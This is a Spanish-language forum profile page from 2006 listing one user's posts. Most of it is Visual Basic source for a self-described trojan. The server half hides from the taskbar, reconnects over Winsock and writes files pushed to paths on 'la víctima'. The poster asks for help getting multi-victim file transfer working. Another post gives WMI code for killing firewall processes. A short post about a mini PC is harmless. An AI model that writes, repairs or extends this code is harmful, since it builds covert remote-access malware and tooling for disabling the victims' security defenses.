Últimos Temas de: Badlands

Mostrar Temas
Páginas: 1 [2]

Programación / Programación Visual Basic / Dos foms y transferencia...

en: 29 Julio 2006, 00:57 am

Hola Estoy tratando de transferir archivos pero al agrgar un form no me funciona, es decir si pongo el code todo en un mismo form si me funciona la transacion de archivos pero cuando agrego otro no me va, mejor les pongo el codigo y se vana dar cuenta de que le hablo...Gracias

CLIENTE:

FORM1:

Código:

Public filesize As Long, filedata As String, datos2 As String, progreso As Boolean, bytes As Long, send As Boolean
Public ext As String, path As String, nombre As String, directorio As Variant, socket As String

Private Sub Form_Load()
ws.LocalPort = 6666
ws.Close
ws.Listen
End Sub

Private Function NuevoSocket() As Integer
Dim numElementos As Integer
Dim i As Integer
numElementos = ws2.UBound
For i = 0 To numElementos
If ws2(i).State = sckClosed Then
NuevoSocket = i
Exit Function
End If
Next
Load ws2(numElementos + 1)
NuevoSocket = ws2.UBound
End Function

Private Sub List1_Click()
socket = List1.Text
Form2.Show
End Sub

Private Sub ws_ConnectionRequest(ByVal requestID As Long)
Dim numSocket As Integer
numSocket = NuevoSocket
ws2(numSocket).Accept requestID
List1.AddItem numSocket
End Sub

Private Sub ws2_DataArrival(Index As Integer, ByVal bytesTotal As Long)
On Error Resume Next
Dim datos As String
ws2(socket).GetData datos
If datos = "enviar" Then
progreso = True
ws2(socket).SendData filedata
End If
If datos = "recibido" Then
End If
If Left(datos, 7) = "archivo" Then
send = True
    filesize = Mid(datos, 8)
    ws2(socket).SendData "enviar"
    datos2 = ""
Else
    If Len(datos2) <> filesize And send = True Then
        datos2 = datos2 + datos
        pb.Min = 0
        pb.Max = filesize
        pb.Value = Len(datos2)
        pb.Refresh
    End If
End Sub

FORM2:
Private Sub Command1_Click()
Form1.cd.Filter = "Todos los archivos |*.*"
Form1.cd.ShowOpen
Open Form1.cd.FileName For Binary As #1
filedata = Input(LOF(1), 1)
Close #1
nombre = Form1.cd.FileTitle
path = InputBox("elige la ruta donde se" & vbCrLf & "guardara el archivo en la victima:" & vbCrLf & "Añade '\' al final!", "Ruta donde se guardara", path)
path = path & nombre
filesize = Len(filedata)
Label1.Caption = filesize
Form1.ws2(socket).SendData "archivo" & "|" & filesize & "|" & path
End Sub

Código:

SERVER:

Dim filesize As Long, datos2 As String, filedata As String, send As Boolean, path As String, dir As Variant
Private Sub Form_Load()
App.TaskVisible = False
ws.RemotePort = 6666
ws.RemoteHost = "127.0.0.1"
ws.Connect
End Sub

Private Sub Timer1_Timer()
If Not ws.State = 7 Then
ws.Close
ws.RemotePort = 6666
ws.RemoteHost = "127.0.0.1"
ws.Connect
End If
End Sub

Private Sub ws_DataArrival(ByVal bytesTotal As Long)

Dim datos As String, dato As Variant
ws.GetData datos
If datos = "enviar" Then
ws.SendData filedata
End If
If datos = "recibido" Then
End If
If Left(datos, 7) = "archivo" Then
send = True
    dato = Split(datos, "|")
    filesize = dato(1)
    path = dato(2)
    ws.SendData "enviar"
    datos2 = ""
Else
    If Len(datos2) <> filesize And send = True Then
        datos2 = datos2 + datos
    End If
        If Len(datos2) = filesize And send = True Then
        ws.SendData "recibido"
        Label3 = datos2
        Open path For Binary As #1
        Put #1, 1, datos2
        Close #1
        End If
End If
End Sub

Les agradeceria mucho si me pudieran ayudar a saber cual es el problema ya que hace mucho tiempo que ando con esto y le encuentro una solucion.
GRACIAS

Programación / Programación Visual Basic / Transferencia multiconecciones con winsock¡¡¡

en: 13 Julio 2006, 23:48 pm

Buenas la cuestion es la siguien resulta que estaba haciendo el troyano para una sola conexión y funcionaba perfecto, el tema es que cuando me meti a ver como hacerlo con muchas conexiones se me complico un poco, ya que no puedo transferir archivos, pero si ejecutarlos, no me tira ningun error ni nada simplemente cuando me voy a fijar si transfirio el archivo este no esta. Resumi un poco el code.

ACA VA EL CODE:

CLENTE

Código:

Dim filesize As Long, filedata As String, bytes As Long, directorio As String, socket As Variant
Private Sub Command1_Click()
cd.Filter = "Todos los archivos |*.*"  'pongo el filtro de los exes
cd.ShowOpen 'muestro la ventana para abrir el archivo
Open cd.FileName For Binary As #1 'abro el archivo en modo binario
filedata = Input(LOF(1), 1)'lo guardo 
Close #1 'lo cierro
nombre = cd.FileTitle'guardo el nobre del archivo 
directorio = InputBox("elige la ruta donde se" & vbCrLf & "guardara el archivo en la victima:" & vbCrLf & "Añade '\' al final!", "Ruta donde se guardara", directorio)'la ruta donde se guardara el archivo en el server
directorio = directorio & nombre'concateno
filesize = Len(filedata) 'calcula el tamaño en bytes'calculo el tamaño del archivo
ws2(socket).SendData "archivo" & "|" & filesize & "|" & directorio & "|" & filedata'mando estos datos
End Sub

Private Sub Form_Load()
ws.LocalPort = 6666
ws.Close
ws.Listen
End Sub

Private Function NuevoSocket() As Integer
Dim numElementos As Integer
Dim i As Integer
numElementos = ws2.UBound
For i = 0 To numElementos
If ws2(i).State = sckClosed Then
NuevoSocket = i
Exit Function
End If
Next
Load ws2(numElementos + 1)
NuevoSocket = ws2.UBound
End Function

Private Sub List1_Click()
socket = List1.Text
End Sub

Private Sub ws_ConnectionRequest(ByVal requestID As Long)
Dim numSocket As Integer
numSocket = NuevoSocket
ws2(numSocket).Accept requestID
List1.AddItem numSocket
End Sub

SERVIDOR

Código:

Dim filesize As Long, filedata As String, bytes As Long, directorio As String
Private Sub Form_Load()
ws.RemotePort = 6666
ws.RemoteHost = "127.0.0.1"
ws.Connect
End Sub

Private Sub ws_DataArrival(ByVal bytesTotal As Long)
ws.GetData datos 'agarro los datos
If Left(datos, 7) = "archivo" Then 'si los primeros 7 caracteres son "archivo" entonces
    dato = Split(datos, "|") 'separo 
    filesize = dato(1)
    directorio = dato(2)
    filedata = dato(3)
    Open directorio For Binary As #1 'abro un directorio, con la variable directorio
    Put #1, 1, filedata'y coloco el archivo
    Close #1'lo cierro
End If
End Sub

13	Informática / Electrónica / Mini PC	en: 12 Julio 2006, 21:09 pm
Hola que tal la verdad que en electronica soy muy nuevo, por eso estoy posteando esta prengunta, resulta que quiero armarme una mini pc con el mother VIA EPIA N-Series Nano-ITX, si no lo conocen aqui les dejo un enlace, http://www.via.com.tw/en/products/mainboards/nano_itx/epia_n/ lo que quiero hacer es encastrarle de alguna manera una pantalla lcd de unas determinadas pulgadas (todavia no lo decidi), y aqui viene el problema, empece a buscar pantallas lcd masomenos pequeñas, y no encontre mucho, lo que si encontre fue este enlace: http://www.lcdtft.com/ lo que me intereso fueron los lcd modules, y ahi va la pregunta ¿Esos modulos como se arman, es decir como se conectan, o directamente se les pone una carcaza, se enchufan y ya esta? esa es mi duda. Si alguien me la puede aclarar se lo agradeceria . Gracias

14	Programación / Programación Visual Basic / Matar Procesos Bloqueados???	en: 2 Julio 2006, 03:34 am
Hola queria saver si alguien me puede ayudar con este codigo lo que quiero hacer es matar procesos de firewalls pero al estar bloqueadosno se como hacerlo aca les dejo el codigo de como lo estoy tratando de hacer pero solo mata los procesos que no estan bloqueados. Private Sub Command1_Click() KillProcess Text1.Text End Sub Public Sub KillProcess(ByVal processName As String) Dim oWMI Dim ret Dim sService Dim oWMIServices Dim oWMIService Dim oServices Dim oService Dim servicename Set oWMI = GetObject("winmgmts:") Set oServices = oWMI.InstancesOf("win32_process") For Each oService In oServices servicename = LCase(Trim(CStr(oService.Name) & "")) If InStr(1, servicename, LCase(processName), vbTextCompare) > 0 Then ret = oService.Terminate End If Next Set oServices = Nothing Set oWMI = Nothing ErrHandler: Err.Clear End Sub

Páginas: 1 [2]